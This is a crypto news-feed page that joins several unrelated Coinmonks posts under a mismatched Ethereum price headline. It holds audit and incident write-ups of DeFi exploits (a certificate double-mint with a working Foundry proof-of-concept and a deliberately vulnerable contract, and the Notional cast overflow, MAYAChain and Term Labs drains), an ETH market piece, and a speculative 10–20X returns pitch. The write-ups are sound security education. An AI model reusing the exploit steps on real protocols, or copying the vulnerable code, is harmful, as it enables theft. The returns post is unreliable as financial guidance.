Ethereum price recovery hinges on $2,526 breakout

This is one of the vulnerability our auditors had found during a client engagement. We’re sharing it here, because walking through a real bug is one of the best ways to learn what to watch for when you’re building or reviewing something similar. This is the first in a series where we’ll be doing that with some of the more interesting things we catch during audits.
The protocol in this case is a gold-backed vault. Customers send in physical gold bars, and in return, the protocol gives them a claim token that represents that gold on-chain. Behind the scenes, each bar is tracked with an NFT, called a certificate, that proves the vault is holding that specific bar. We found a way for a customer to take their real gold out of the vault, and then trick the system into minting them a second batch of claim tokens for gold that had already left.
Every physical gold bar is represented by one certificate NFT. When a new bar arrives, the protocol’s certifier verifies it, and the vault mints a fresh certificate. That certificate stays with the vault, not the customer, as proof the bar is inside, and the vault mints a claim token against it, the customer’s on-chain claim to that gold. A customer can also hand in a certificate they already hold to mint more claim tokens against it, as long as the vault is actually holding the matching bar.
When a customer wants their gold back, they burn their claim tokens and the vault releases the bar. At that point the certificate is supposed to be worthless. Its only job was proving the vault held that specific bar, and once the bar is out, that’s no longer true.
The vault doesn’t destroy the certificate on release. It just hands it straight back to the customer, still perfectly valid.
So the customer walks away holding two things: the gold bar, and a certificate that still tells the vault this bar is safely inside. Nothing stops them from walking back in, handing that certificate over again, and minting a fresh batch of claim tokens for gold that’s already gone.
The fix already existed in the code. CertificatesNFT.burn destroys a certificate. It can only be called by the vault, and only while the vault holds the certificate, exactly the situation at the moment gold gets released. Nobody called it.
Here’s the function, the one a customer calls once they’ve burned their claim tokens and are ready to walk out with their gold:
certificatePositions[id] =
VaultTypes.CertificatePosition({state: VaultTypes.CertificateState.OutsideVault, activeRequestId: 0});
nft.transferFrom(me, recipient, id);
The position flips to OutsideVault, and the certificate goes straight back into the customer's wallet. Nothing marks it as used.
Getting a genuinely new certificate is hard on purpose: it needs sign-off from the protocol’s certifier, plus a one-time custody reference proving a specific bar arrived. Handing an old certificate back in needs none of that. The vault just checks the certificate says outside the vault and takes its word for it.
It gets worse. Certificates are never destroyed, so a bar’s serial number stays permanently marked as used. If that same bar genuinely comes back through the front door, the vault can’t issue it a clean new certificate, that path is blocked, the serial number is already taken. Reusing the old certificate becomes the only way back in, for a legitimate return or a fraudulent one. What should be a rare, risky shortcut ends up as the default path, since nothing else works anymore.
We built a small working version of the same mechanics to confirm this isn’t theoretical. It isn’t the original’s code, real vaults carry more logic than this, but it reproduces the exact behavior that matters.
Set up a fresh Foundry project:
mkdir gold-poc && cd gold-poc
forge init --no-git .
forge install OpenZeppelin/openzeppelin-contracts --no-git
remappings.txt:
@openzeppelin/=lib/openzeppelin-contracts/
forge-std/=lib/forge-std/src/
src/VaultTypes.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
/// @notice Minimal illustrative reproduction of the position-tracking types
/// referenced in the finding. Not the audited source.
library VaultTypes {
enum CertificateState {
None,
Vaulted,
OutsideVault
}
struct CertificatePosition {
CertificateState state;
uint256 activeRequestId;
}
}
src/CertificatesNFT.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
/// @notice Minimal illustrative reproduction. Represents a custody certificate
/// for one physical gold bar held in the vault. Not the audited source.
contract CertificatesNFT is ERC721 {
address public immutable vault;
modifier onlyVault() {
require(msg.sender == vault, "CertificatesNFT: not vault");
_;
}
constructor(address _vault) ERC721("Gold Custody Certificate", "CERT") {
vault = _vault;
}
function mint(address to, uint256 id) external onlyVault {
_mint(to, id);
}
/// @dev Only the vault can burn, and only while the vault itself holds
/// the certificate. This is exactly the situation at the moment physical
/// gold is released, which is the call site this finding is about.
function burn(uint256 id) external onlyVault {
require(ownerOf(id) == vault, "CertificatesNFT: vault must hold certificate");
_burn(id);
}
}
src/ClaimToken.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
/// @notice Minimal illustrative reproduction of the tokenized-gold claim
/// token. Not the audited source, and not the real token name.
contract ClaimToken is ERC20 {
address public immutable vault;
modifier onlyVault() {
require(msg.sender == vault, "ClaimToken: not vault");
_;
}
constructor(address _vault) ERC20("Vault Gold Claim", "CLAIM") {
vault = _vault;
}
function mint(address to, uint256 amount) external onlyVault {
_mint(to, amount);
}
function burnFrom(address from, uint256 amount) external onlyVault {
_burn(from, amount);
}
}
src/GoldVaultVulnerable.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {CertificatesNFT} from "./CertificatesNFT.sol";
import {ClaimToken} from "./ClaimToken.sol";
import {VaultTypes} from "./VaultTypes.sol";
/// @notice Minimal illustrative reproduction of the vault's certificate
/// lifecycle, including the vulnerable release path described in the
/// finding. Not the audited source, trimmed to the mechanics that matter.
contract GoldVaultVulnerable {
CertificatesNFT public immutable certNFT;
ClaimToken public immutable claimToken;
address public immutable certifier;
uint256 public constant CLAIM_PER_BAR = 1_000e18;
mapping(uint256 => VaultTypes.CertificatePosition) public certificatePositions;
mapping(bytes32 => bool) public usedCustodyRefs;
mapping(uint256 => bool) public serialRegistered;
modifier onlyCertifier() {
require(msg.sender == certifier, "GoldVault: not certifier");
_;
}
constructor(address _certifier) {
certifier = _certifier;
certNFT = new CertificatesNFT(address(this));
claimToken = new ClaimToken(address(this));
}
/// @notice Bar arrival. Strongly validated: certifier-gated, and the
/// custody reference proving the bar arrived can only be used once.
function registerNewBar(address to, uint256 certId, uint256 serial, bytes32 custodyRef)
external
onlyCertifier
{
require(!serialRegistered[serial], "GoldVault: serial already registered");
require(!usedCustodyRefs[custodyRef], "GoldVault: custody ref already used");
usedCustodyRefs[custodyRef] = true;
serialRegistered[serial] = true;
certNFT.mint(address(this), certId); // certificate stays with the vault while the bar is inside
certificatePositions[certId] =
VaultTypes.CertificatePosition({state: VaultTypes.CertificateState.Vaulted, activeRequestId: 0});
claimToken.mint(to, CLAIM_PER_BAR);
}
/// @notice Re-presenting an existing certificate. No certifier check and
/// no custody reference, open to anyone holding a certificate that is
/// currently marked OutsideVault.
function depositCertificate(uint256 certId) external {
require(
certificatePositions[certId].state == VaultTypes.CertificateState.OutsideVault,
"GoldVault: certificate not outside vault"
);
certNFT.transferFrom(msg.sender, address(this), certId);
certificatePositions[certId] =
VaultTypes.CertificatePosition({state: VaultTypes.CertificateState.Vaulted, activeRequestId: 0});
claimToken.mint(msg.sender, CLAIM_PER_BAR);
}
/// @notice Physical release. This is the call site the finding is about.
function release(uint256 certId, address recipient) external {
require(
certificatePositions[certId].state == VaultTypes.CertificateState.Vaulted,
"GoldVault: certificate not vaulted"
);
claimToken.burnFrom(msg.sender, CLAIM_PER_BAR);
// --- vulnerable: hands a fully valid certificate back instead of retiring it ---
certificatePositions[certId] =
VaultTypes.CertificatePosition({state: VaultTypes.CertificateState.OutsideVault, activeRequestId: 0});
certNFT.transferFrom(address(this), recipient, certId);
}
}
test/GoldSoldTwice.t.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test, console2} from "forge-std/Test.sol";
import {GoldVaultVulnerable} from "../src/GoldVaultVulnerable.sol";
import {VaultTypes} from "../src/VaultTypes.sol";
import {CertificatesNFT} from "../src/CertificatesNFT.sol";
contract GoldSoldTwiceTest is Test {
address certifier = makeAddr("certifier");
address customer = makeAddr("customer");
uint256 constant CERT_ID = 1;
uint256 constant SERIAL = 42;
bytes32 constant CUSTODY_REF = keccak256("bar-42-arrival");
function test_ReleasedCertificateCanBeRedepositedForFreshClaim() public {
GoldVaultVulnerable vault = new GoldVaultVulnerable(certifier);
// One physical bar arrives and is registered. This is the strongly
// validated path: certifier-gated, one-time custody reference.
vm.prank(certifier);
vault.registerNewBar(customer, CERT_ID, SERIAL, CUSTODY_REF);
console2.log(
"bar registered, one time only | claim balance:",
vault.claimToken().balanceOf(customer) / 1e18
);
assertEq(
vault.claimToken().balanceOf(customer),
vault.CLAIM_PER_BAR(),
"customer should hold 1 bar of claim tokens"
);
// Customer redeems: burns claim tokens, takes the physical gold out.
vm.startPrank(customer);
vault.release(CERT_ID, customer);
vm.stopPrank();
console2.log(
"gold released to customer | claim balance:",
vault.claimToken().balanceOf(customer) / 1e18
);
assertEq(
vault.claimToken().balanceOf(customer),
0,
"claim tokens were burned on release"
);
assertEq(
vault.certNFT().ownerOf(CERT_ID),
customer,
"certificate came back to the customer intact"
);
(VaultTypes.CertificateState state, ) = vault.certificatePositions(
CERT_ID
);
assertEq(
uint8(state),
uint8(VaultTypes.CertificateState.OutsideVault),
"certificate still marked valid"
);
// The gold has left the building. The certificate for it has not
// been touched. Hand it straight back in.
vm.startPrank(customer);
vault.certNFT().approve(address(vault), CERT_ID);
vault.depositCertificate(CERT_ID);
vm.stopPrank();
console2.log(
"same certificate redeposited | claim balance:",
vault.claimToken().balanceOf(customer) / 1e18
);
// Fresh claim tokens, minted against a bar that is no longer in the vault.
assertEq(
vault.claimToken().balanceOf(customer),
vault.CLAIM_PER_BAR(),
"customer minted a second bar of claim tokens against the same, already-withdrawn gold"
);
}
}
Run it:
forge test --match-contract GoldSoldTwiceTest -vv
Output:
Ran 1 test for test/GoldSoldTwice.t.sol:GoldSoldTwiceTest
[PASS] test_ReleasedCertificateCanBeRedepositedForFreshClaim() (gas: 3884735)
Logs:
bar registered, one time only | claim balance: 1000
gold released to customer | claim balance: 0
same certificate redeposited | claim balance: 1000
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.03ms (1.81ms CPU time)
Ran 1 test suite in 156.98ms (6.03ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Look at the claim token balance across those log lines. It goes up to 1,000 when the bar is registered, drops to 0 on release, then climbs back to 1,000, just from handing the same certificate back in. One bar of gold. Two batches of claim tokens.
certificatePositions[id] =
- VaultTypes.CertificatePosition({state: VaultTypes.CertificateState.OutsideVault, activeRequestId: 0});
- nft.transferFrom(me, recipient, id);
+ VaultTypes.CertificatePosition({state: VaultTypes.CertificateState.None, activeRequestId: 0});
+ nft.burn(id);
That’s the entire fix. Burn the certificate instead of returning it. No new checks, no new state, both already existed. The only missing piece was calling burn.
// src/GoldVaultFixed.sol, patched release()
function release(uint256 certId, address recipient) external {
require(
certificatePositions[certId].state == VaultTypes.CertificateState.Vaulted,
"GoldVault: certificate not vaulted"
);
claimToken.burnFrom(msg.sender, CLAIM_PER_BAR);
certificatePositions[certId] =
VaultTypes.CertificatePosition({state: VaultTypes.CertificateState.None, activeRequestId: 0});
certNFT.burn(certId);
}
This bug wasn’t flashy, one function handed back something it should have destroyed, and the fix was already sitting in the code, unused. Most real bugs are like that, a small gap between what a system assumes and what’s actually still true.
Originally published at https://www.quillaudits.com.
Quill Findings: Eligibility Replay in Tokenized Assets was originally published in Coinmonks on Medium, where people are continuing the conversation by highlighting and responding to this story.

On September 3, 2026, roughly $1.73M in DAI and USDC left Notional Finance’s V1 Escrow contract in a single transaction. There was no flash loan, no price oracle manipulation, and no compromised key. The attacker minted a fabricated fCash claim equal to Escrow’s entire live balance and withdrew it as real tokens, using a raw type-narrowing cast in Notional’s collateral valuation code that let a maximally insolvent account report zero debt.
Notional Finance V1 represents fixed-rate lending positions as ERC1155 tokens called fCash. Every position is one half of a payer and receiver pair, the payer owes cash at maturity, the receiver is entitled to collect it. Transferring one of these ERC1155 tokens does not move an existing balance. It calls Portfolios.mintfCashPair(), which mints a brand new offsetting pair on the spot, a design built for OTC block trades. That function's only safeguard is a free collateral check on the payer, computed in Portfolios._freeCollateral() and converted into an ETH value by Escrow.convertBalancesToETH(). The entire system's solvency rests on that one conversion being correct.
An attacker-controlled helper contract deployed four disposable contracts.

The helper contract then called safeTransferFrom on Notional's ERC1155 fCash token, which routed into Portfolios.mintfCashPair(). That function creates a new payer and receiver position in a single call and checks free collateral on the payer only, an assumption written directly into the code that the receiver's position always increases and therefore needs no check of its own.


The same account acted as payer twice in a row, first for a notional of 1, then for a notional of 340282366920938463463374607431768211455, the maximum value a uint128 can hold. Combined, the two debts summed to exactly 2¹²⁸, a boundary value chosen with precision rather than brute force.


That combined debt reached Escrow.convertBalancesToETH(), which calls ExchangeRate._convertToETH() to price the payer's balance in ETH for the solvency check. Inside that function, uint128 absBalance = uint128(balance.abs()) casts the debt with a raw, unchecked cast rather than SafeCast.toUint128(). A value of exactly 2^128 truncates cleanly to 0 in that cast, so the largest debt mathematically possible was read as owing nothing.


The second disposable contract, 0x84A060Ed81316E6741Af216A099cFea8bCDd3489, the one holding that fabricated 2¹²⁸-1 claim, passed its own free collateral check on the strength of it, even after Notional’s standard haircut, a claim that size dwarfs any real-world debt. It called safeTransferFrom twice more, once with a notional of 69,257,372,677,950,923,155,658 sent to a third contract, 0x265ccfF3673bCAb03867988081cd51bFd919C03C, once with a notional of 1,658,524,864,122 sent to a fourth contract, 0x4a3508C5aC0677325932f3bC786Ae7A1C3e9CAfF.


Both calls routed through mintfCashPair() again, so the third contract came away holding a receiver claim exactly equal to Escrow's real DAI balance, and the contract came away holding a receiver claim exactly equal to Escrow's real USDC balance.
In a second transaction, Portfolios.settleMaturedAssets() converted the third contract fabricated claim into a real, internally tracked Escrow cash balance, and Escrow.withdraw() checked that balance, found no offsetting debt, and paid out 69,257.372677950923155658 DAI from Escrow to 0x265ccfF3673bCAb03867988081cd51bFd919C03C, which forwarded the full amount to the attacker's main address, 0xDaCC235a494750193695A111D715c2ca12b5Ce38, in the same transaction.


The same transaction repeated the process for the fourth contract, settling its fabricated claim into an Escrow cash balance and paying out 1,658,524.864122 USDC from Escrow to 0x4a3508C5aC0677325932f3bC786Ae7A1C3e9CAfF, which likewise forwarded the full amount to 0xDaCC235a494750193695A111D715c2ca12b5Ce38.


The root cause is an unchecked, raw uint128() cast on a debt balance inside ExchangeRate._convertToETH(), in place of the reverting SafeCast.toUint128() used elsewhere in the same file.

Two things made that cast reachable in the first place. Portfolios.mintfCashPair() checks solvency on the payer only, so a fabricated debt on one account is never caught by a check on the account that actually benefits from it.

RiskFramework.sol itself computes the debt correctly, using safe, reverting arithmetic throughout, which meant the attacker had to engineer one exact value rather than exploit sloppy math earlier in the chain. Each factor on its own would have limited the damage, together they turned a single missing bounds check into a full drain.
Type-boundary fuzzing on every narrowing cast. Fuzzing _convertToETH() and every other raw uint128() or uint256() cast with boundary values, 0, 2^128 minus 1, and 2^128 itself, would have surfaced the exact wrap that zeroed out the payer's debt.
Two-sided solvency checks on any function that mints offsetting positions. A review of mintfCashPair() against the principle that both sides of a newly created payer and receiver pair need verification, not just the side assumed to be taking on risk, would have flagged the one-sided freeCollateral(payer) check as a design gap on its own, independent of the cast bug.
A project-wide ban on raw narrowing casts in solvency-critical paths. A lint rule or manual pass flagging every uint128(x) or uint256(x) cast on a value that can carry adversarial input, requiring SafeCast or an explicit bounds check instead, would have caught this specific line even without the fuzzing pass above.
The DAI and USDC withdrawn from Escrow were moved through intermediary wallets and consolidated into a single address.

That address swapped the combined DAI and USDC for approximately 689.2 ETH.



The ETH was then deposited into Tornado Cash.

At the time of writing, Notional Finance has not published a tweet, statement, or post-mortem addressing this incident, and has not disclosed an official loss figure or confirmed root cause. This section will be updated once the protocol responds.
Attacker EOAs
Vulnerable Contracts
Attacker Contracts
Key Transactions
This was not a flash loan attack and not a price manipulation. It was a single unchecked cast, uint128(balance.abs()), sitting inside a function that turns a debt balance into an ETH-denominated solvency check. Because Notional's fCash minting function trusted that check completely and only applied it to one side of every new position, an attacker who could engineer one specific number, 2^128, could make the largest possible debt look exactly like zero. Roughly $1.73M in DAI and USDC left Notional's V1 Escrow contract as a result, swapped to ETH and moved into Tornado Cash. In a system built entirely on solvency checks, the check itself has to be the most carefully verified line in the codebase, because everything downstream believes whatever number it returns.
Original Posted at QuillAudits
Notional Finance $1.73M Free Collateral Integer Overflow Exploit (Explained) was originally published in Coinmonks on Medium, where people are continuing the conversation by highlighting and responding to this story.

On August 18, 2026, an attacker chained six bugs in MAYAChain’s trade account and outbound-handling logic to drain the Asgard reserve. No key was stolen, and this wasn’t a flash-loan drain: a single batched deposit triggered a false theft alert, and an uncapped slash subsidy turned that into 48.87M forged CACAO in one thin pool. The attacker cashed out through it, extracting roughly $1.7M.
MAYAChain settles cross-chain swaps through its Asgard vaults, with every observed transaction tracked against a shared ObservedTxVoter record. A single MsgDeposit can batch multiple actions together, including trade-account swaps and a DONATE action, all reported against that same voter. When an outbound transaction appears to go missing, the chain treats it as theft and slashes a subsidy into the affected pool to make it whole, a safety mechanism this exploit turned into the attack itself.
MAYAChain’s protection against a receipt being processed twice lives in a shared ObservedTxVoter record, one per native transaction ID. Inside the handler for a batched MsgDeposit, every message in the batch creates its own fresh voter and overwrites whatever was there before via SetObservedTxInVoter(). A transaction with enough messages can let its last message quietly erase what every earlier message had recorded.

The attacker used exactly that. A single MsgDeposit carrying 23 messages ran 20 trade-account swaps into ARB.ETH, two more into ARB.LINK, and closed with a one-unit DONATE:ARB.LINK message. That final message overwrote the voter the earlier trade withdrawals had set, resetting OutboundHeight to 0 and marking the whole transaction done.
Check here in rwa data: 516BA14D6976EC7B8A3087E1C52B195433EF0F9D85F4B9520675BC4FEB99E9B7



With OutboundHeight zeroed, the outbound matcher fell back to FinalisedHeight and scanned forward in fixed increments, but it never checked the one block where the LINK outbounds had actually landed. Finding no record there, the chain concluded the outbound had gone missing and triggered its theft-detection slash.

That slash path converts the supposedly stolen amount into CACAO at the pool’s own exchange rate, with nothing capping the result against how much asset the pool actually holds. The ARB.LINK pool had only about 0.11 LINK in it, so running the stolen amount through that rate produced a number completely detached from reality: roughly 49.45 million CACAO, booked straight into the pool.

The code writes that inflated pool balance to state before it actually tries to fund it from the reserve. The reserve only held about 168,000 CACAO, so the funding transfer failed, but the pool’s new balance had already been saved. The handler that caught the failure just logged it and marked the transaction done anyway, with no rollback, leaving the inflated pool sitting in state as if it were real.
With a pool now showing tens of millions of CACAO against almost no LINK, the attacker added a small amount of liquidity to it. The pool-unit math treated the deposit as founding a fresh pool, handing over 99.93% ownership, and an immediate withdrawal at 9,900 basis points paid out 48.87 million CACAO from the Asgard module. The attacker moved straight into swapping it for BTC, ETH, RUNE, and stablecoins across every Maya pool.


It was six separate weaknesses lining up in one transaction. The root failure is that a shared observed-transaction voter could be silently overwritten by a later message in the same batched deposit, and everything downstream, theft detection, the slash subsidy, and the funding transfer, trusted that voter’s state without re-checking or bounding it against reality.
Once the final DONATE message reset the voter, the outbound matcher's fallback logic never checked the right block, the slash subsidy calculation never capped itself against the pool's real balance, and the code that wrote the inflated pool to state ran before the code meant to fund it, with the resulting failure just logged and swallowed instead of rolled back. Any one of those checks alone would have stopped the drain, bind the voter to something a later message can't clobber, cap the subsidy to what the pool can actually hold, or roll back state when a downstream transfer fails.
Voter integrity across batched messages. Any check whose entire security model rests on a shared record needs a guarantee that record can’t be overwritten by an unrelated message later in the same batch. A review tracing every writer of ObservedTxVoter would have caught SetObservedTxInVoter clobbering per-message state in handler_deposit.go.
Bound every subsidy calculation to the pool’s actual balance. The AssetValueInRune call behind the slash subsidy had no ceiling tied to pool.BalanceAsset, so a thin pool could be told it held tens of millions of CACAO it never had. Any function that credits a balance from a computed value needs an explicit sanity cap against the resource it's crediting.
Never commit state ahead of the transfer meant to back it. SetPool ran before SendFromModuleToModule in helpers.go, so when the transfer failed, the inflated state had already been saved. Persisted state should follow a successful funding transfer, not precede it, and a failed downstream call should roll back what came before it rather than just log and continue.
The attacker immediately began swapping the drained CACAO into BTC, ETH, RUNE, and stablecoins across every Maya pool.

20.82 BTC, worth about $1,343,367, moved to bc1q0hsgwunccczelq05ucpmfz268eyy5jr2y5l646. As of now they are still in attacker wallet

Meanwhile on ethereum attacker has deposited some eth in tornado cash.

Maya founder posts an initial public message calling it sad news and saying it will work to fix the issue and recover in full.
Maya confirms the exploit to its community, roughly 20 BTC and $300k in other assets, says it has done a global halt to contain the damage, and shares the attacker’s Bitcoin address in case they’re open to a bug bounty.

Maya commits $200,000 of the team’s own funds into the pools as a first step in the recovery process.

Maya says it will accelerate the launch of its Aztec Chain platform and direct a share of the funds it raises back into the pools to help recover from the exploit.

Maya sends the attacker a message through a Bitcoin OP_RETURN transaction, asking them to return the funds and offering a bug bounty in exchange.


Attacker Wallet
Affected Pool
Key Transactions
No key was stolen, and no single bug did this on its own. A shared voter that a later message could silently overwrite was trusted by every check downstream of it, theft detection, the slash subsidy, and the transfer that was supposed to back it, and none of them verified what the others had already gotten wrong. A pool with barely any liquidity ended up crediting tens of millions of CACAO to itself, and the attacker just had to show up and withdraw it. Six checks failed in sequence; one working boundary anywhere in that chain would have stopped it.
Original Posted at QuillAuidts
MAYAChain $1.7M Slash Subsidy Pool Inflation Exploit (Explained) was originally published in Coinmonks on Medium, where people are continuing the conversation by highlighting and responding to this story.

Ethereum looks unusually calm.
After climbing more than 30% in August, ETH has spent the first part of September moving in a narrow range, repeatedly testing the $2,500 mark without finding enough momentum to break higher.
But beneath that quiet price action, the Ethereum market is anything but still.
Treasury companies are continuing to accumulate ETH. Exchange balances are falling. ETF demand has cooled but remains positive overall. At the same time, developers are preparing major changes to Ethereum’s infrastructure, with Glamsterdam approaching and the longer-term Hegotá roadmap beginning to take shape.
So while ETH is moving sideways, several important pieces are falling into place.
ETH has spent much of the recent period between $2,480 and $2,520.
The repeated attempts to reclaim $2,500 show that buyers are still defending the psychological level, but resistance around $2,525–$2,535 has kept the upside contained. Beyond that, $2,550 remains the more important barrier.

A decisive move above $2,550 could put $2,600 back on the radar and potentially open a path toward the $3,000 area if momentum returns.
The downside is equally clear.
The first support zone sits around $2,475–$2,485. A break below it could expose $2,430–$2,445.
Some technical charts have also produced a golden cross, generally viewed as a longer-term bullish signal. But technical indicators alone cannot overcome weak market participation.
That is particularly important now, with investors watching the Federal Reserve meeting scheduled for September 15–16.
For the longer-term picture, current ethereum price prediction scenarios are likely to depend heavily on whether ETH can turn this consolidation into a sustained breakout rather than another temporary rally.
One of the clearest differences in the current market is happening between different groups of ETH holders.
Wallets holding between 100 and 10,000 ETH reportedly sold around 307,000 ETH last week.
Whales, meanwhile, bought roughly 82,000 ETH.

That does not necessarily mean the market is turning bearish. It may simply indicate that some investors are taking profits after August’s rally while larger players are building longer-term positions.
BitMine Immersion Technologies is perhaps the clearest example.
The company bought another roughly 28,086 ETH, worth around $69–70 million, bringing its reported holdings to approximately 5.93 million ETH.
That represents close to 4.9% of Ethereum’s total supply.
The scale is difficult to ignore. BitMine has continued buying even while its holdings remain below the average purchase price on paper, with a large portion of its ETH also being staked.
This is a very different approach from short-term trading.
Abraxas Capital has also been active.
The firm reportedly purchased around 13,000 ETH, worth roughly $32 million, in the spot market.
But the reason is particularly interesting: part of the purchase was reportedly used to hedge a much larger short position of around 141,000 ETH on Hyperliquid.
In other words, not every large ETH purchase represents a straightforward bullish bet.
Elsewhere, an early Ethereum holder reportedly sold around 11,023 ETH through Wintermute, while Justin Sun continued moving ETH after withdrawing additional funds from Lido.
The takeaway is simple: whale activity is increasing, but it is not pointing in one clear direction.
Some large holders are selling. Others are accumulating. Some are hedging.
The spot Ethereum ETF market tells a similar story.
Weekly inflows reportedly fell to around $218 million, down sharply from approximately $824 million the previous week. Some individual trading sessions also saw net outflows.
That is a noticeable slowdown.
Still, it would be premature to interpret weaker ETF flows as disappearing institutional interest.
Another part of the supply picture is moving in the opposite direction.
More than 116,000 ETH reportedly left exchanges within a 48-hour period at one point. Fewer ETH sitting on exchanges can mean less immediate selling pressure, although it does not guarantee that prices will rise.
Institutional infrastructure is also expanding. Standard Chartered has reportedly increased access to deliverable ETH spot trading for institutional clients in the UAE.
The market, therefore, is seeing slower demand in one area while institutional participation continues to develop elsewhere.
If the price chart looks boring, Ethereum’s development roadmap certainly does not.
The Ethereum Foundation’s Protocol Cluster recently released its first unified ranking of 62 proposed EIPs for the planned Hegotá upgrade.
Two proposals were placed among the highest-priority changes.
EIP-7805, or FOCIL, is aimed at strengthening censorship resistance by helping enforce transaction inclusion.
EIP-8141, known as Frame Transactions, could address one of Ethereum’s long-standing user-experience problems: needing ETH simply to pay transaction fees.
The proposal could eventually allow users to pay gas with stablecoins such as USDC or USDT while also supporting native account abstraction and new authentication approaches.
That could make interacting with Ethereum feel considerably simpler for ordinary users.
There is also a much longer-term objective behind the roadmap: quantum resistance for Ethereum’s Layer 1, with December 2029 currently highlighted as an important target.
Hegotá is still further down the road.
Before that comes Glamsterdam, Ethereum’s next major upgrade, currently targeted for Q4 2026.
The upgrade is focused heavily on improving Layer-1 performance.
Developers are working on enshrined proposer-builder separation, block-level access lists, gas repricing and higher gas limits.
One of the targets is a gas-limit floor of around 200 million, which could significantly increase Ethereum’s capacity if implemented successfully.
The Sepolia testnet fork is expected around September 28 or early October.
That makes the coming weeks important for more than just ETH traders. They will also provide another look at how Ethereum’s technical roadmap is progressing toward mainnet.
Ethereum’s broader ecosystem is changing alongside the core network.
Lido has launched the testnet for its 0x02 Community Staking Module, designed to support compounding validators with balances of up to 2,048 ETH.
If approved for mainnet, the change could improve capital efficiency for staking operators.
Scroll, meanwhile, is taking a very different path.
The Ethereum Layer-2 project has announced plans to gradually transition from a general-purpose public chain toward a more application-specific network built around its Compass AI ecosystem.
The transition is expected to take roughly nine months. Scroll also plans to move the SCR token to Ethereum mainnet without changing its existing supply or tokenomics.
Elsewhere, Trezor has added Clear Signing support through ERC-7730, another effort aimed at making blockchain transactions easier to understand before users approve them.
Ethereum does not currently have one giant catalyst capable of deciding its next move.
Instead, several smaller forces are pulling the market in different directions.
Retail holders are selling.
Treasury companies are accumulating.
ETF inflows have slowed.
Exchange balances have declined.
ETH is sitting near $2,500.
And Ethereum’s developers are preparing some of the network’s most important changes in years.
That leaves traders with a fairly simple near-term map.
A sustained move above $2,550 would strengthen the bullish case, while a break below $2,475 could shift attention toward $2,430–$2,445.
Until one of those areas gives way, Ethereum may continue to consolidate.
But the lack of dramatic price movement should not be confused with a lack of activity.
The market may be quiet on the surface, but underneath it, Ethereum is going through a period of accumulation, repositioning and infrastructure development.
The next major move in ETH may ultimately depend not on one headline, but on which of these trends gains the upper hand.
Ethereum Is Quiet at $2,500. But the Bigger Story Is Happening Underneath was originally published in Coinmonks on Medium, where people are continuing the conversation by highlighting and responding to this story.
How I am setting up for 10–20X returns on my portfolio this cycle

In the 2020/2021 cycle I invested heavily in BTC and ETH options on the Canadian ETF’s back when BTC was just coming out of its bear market blues, and BTC was roughly $29,000. Those options paid off over 10X returns, even while having been bought 2X off the bottom. As importantly, they involved zero altcoin specific risk, minimum counterparty risk (regulated ETF’s) and no trading and constant position management .. AND could be bought in my retirement account or tax free savings account.
I bought, I held about 2 years, and I sold at 10–12X the price. Original article written in July 2023 below:
Best Bear Market Opportunity Yet
I managed those returns despite buying the BTC and ETH options after Bitcoin had doubled from its bear market Bottom in Oct of 2022. Now, we are roughly 35% off the bottom (which I think is very likely THE bottom), and the opportunity is on par with the previous cycle.
I am not ready to divulge all the specifics just yet, as my strategy is likely to evolve as we near the end of the bear market. That said, here is the gist of it:
I do believe Bitcoin will have a solid bull run, but also concede that dimishing returns are a mathematical reality.
BTC Targets:
ETH and SOL are more difficult to predict, particularly given the capital drain from AI stonks and Meme coins.
That said, I believe ETH has a shot at some redemption here as corporations and large entities gravitate towards L2 chain they can customize and control. I will refine these targets in the coming months as Robinhood chain and Solana play out their game of meme coin capture, and provide them by year-end in an update article.

To be frank, the real talent at this point is to ignore all the noise on crypto X, and make a plan and stick to it. If you are like me, this big move up caught you somewhat off guard, and perhaps more sidelined that you would like. I have had a battle with the FOMO demons for weeks now, and winning that battle is what will set the stage for huge gains.
The timeline is far too bullish, and my expectation at this point is that we take a bit of a breather and pull back into the low 70K, or high 60K range BTC, at which point I will not try to time my entries but will buy hard in expectation of a big 2027 and 2028. Then sit back, stomach the volatilty, and cash in in a couple years while 90% of crypto X is trying to predict the hourly charts and missing the 300–400% gains on spot BTC (and 1000%–1500% on call options)
Good luck out there, and see you on the next one!
Sovereign Crypto (aka RickyBobby)
I release regular altcoin and crypto updates, subscribe for more info and to keep up to date!
400% return on most recent trade 🔥…

Disclosures:
The Bull Run is Quietly Loading was originally published in Coinmonks on Medium, where people are continuing the conversation by highlighting and responding to this story.

On August 23, 2026, an attacker used roughly half an ETH to acquire majority governance control over Term Labs Meta Vaults, then passed a routine-looking proposal that disabled the vault’s transaction delay and drained six vaults. No key was stolen and no core vault code was broken: with almost no one else voting, the attacker simply became the governance, extracting 2,841.74 WETH and 1,679,639 USDC, about $8.5 million, later swapped to DAI.
Term’s Strategy Vaults are ERC-4626 vaults built on Yearn V3 infrastructure, governed through Aragon TokenVoting. Voting power isn’t tied to vault deposits directly: to get it, a depositor has to wrap their vault shares into a separate governance token, an extra opt-in step almost nobody took. A Zodiac Delay module was meant to sit between an approved governance proposal and its execution, giving roughly a week’s cooldown before anything it authorized could actually run.
Term’s voting power came from wrapping vault shares into a separate governance token, and almost no one bothered. On the ETH Meta Vault the total wrapped supply was just 0.5352 tokens, across the USDC vaults it was similarly thin. A depositor putting in about 0.5 ETH and wrapping the resulting shares ended up holding 0.4852 of that ETH Meta Vault supply, about 90.7%, while a separate wallet held all of the active voting power across all seven USDC vault proposals it opened.

Because the minimum proposer voting power was set to zero, opening a proposal cost nothing beyond gas. The attacker filed a proposal titled Veto strategy vault parameter change, using the exact wording the curator used for routine parameter updates, so it read on the surface like an ordinary item up for a veto vote rather than an attack.

Underneath that title sat 17 actions. The first three reset the Zodiac Delay module’s roughly seven-day cooldown and expiration to zero and handed control of it to an attacker-controlled executor. The rest recalled capital from all four of the ETH Meta Vault’s real strategies, deployed a new strategy called Fixed Recipient WETH Exit Strategy, gave it a debt ceiling of uint256 max, and routed the vault's balance into it.

